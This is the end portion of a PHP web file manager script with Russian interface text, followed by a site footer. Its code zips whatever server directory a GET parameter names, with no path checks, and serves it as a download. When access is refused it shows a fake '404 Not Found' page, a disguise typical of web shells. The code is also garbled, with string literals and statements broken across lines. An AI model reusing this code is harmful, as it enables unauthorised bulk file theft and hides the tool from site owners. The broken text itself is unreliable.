$ctrldir = implode("", $this -> ctrl_dir); 
return 
$data
$ctrldir
$this -> eof_ctrl_dir. 
pack("
v", sizeof($this -> ctrl_dir)). 
pack("
v", sizeof($this -> ctrl_dir)). 
pack("
V", strlen($ctrldir)). 
pack("
V", strlen($data)). 
"
x00x00"; }} 
$abort = ignore_user_abort(1); 
$zipfile = new zipfile(); 
$fdir = opendir($_GET['zip']); 
while(
$file = readdir($fdir)){ 
if (
$file != '.' and $file != '..'){ 
if (is_file(
$_GET['zip'].$file)){$zipfile->add_file(file_get_contents($_GET['zip'].$file),$file);} 
if (is_dir(
$_GET['zip'].$file)){ 
$sdir = opendir($_GET['zip'].$file); 
while(
$sfile = readdir($sdir)){ 
if (
$sfile != '.' and $sfile != '..'){ 
if (is_file(
$_GET['zip'].$file.'/'.$sfile)){$zipfile->add_file(file_get_contents($_GET['zip'].$file.'/'.$sfile), $file.'/'.$sfile);}}}}}} 
$name = explode("/",$_GET['zip']); 
$file = $name[count($name)-2]
header('Content-type: application/octet-stream'); 
header("
Content-dispositionattachmentfilename=$file.zip"); 
echo 
$zipfile->file();} 
///////////////
if(empty(
$_GET['zip']) and empty($_GET['download']) & empty($_GET['img'])){ 
echo'<br><a href="
?d='.$vverh.'">Назад</a>'; 
echo'<br>'; 
list(
$msec,$sec)=explode(chr(32),microtime()); 
echo round(((
$sec+$msec)-$HeadTime),4).' cek.'; 
echo'</div><center><font style="
font-size:8pt;" color="#1B1B1B"><br>Файловый менеджер &copy; 2013<br><a href="http://vk.com/pandcar"><font color="#D2460A"><b>Исаев Олег</b></font></a><br><br>ver.'.$ver_scripta.'</font><br><br></center></div></body></html>';} 
} else { ?> 
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> 
<html><head> 
</head><body> 
<h1>Доступ закрыт !</h1>
<p>The requested URL <? echo $_SERVER['PHP_SELF']; ?> was not found on this server.</p> 
<p>Additionally, a 404 Not Found 
error was encountered while trying to use an ErrorDocument to handle the request.</p> 
</body></html> 
<? ?>
Онлайн: 0
Реклама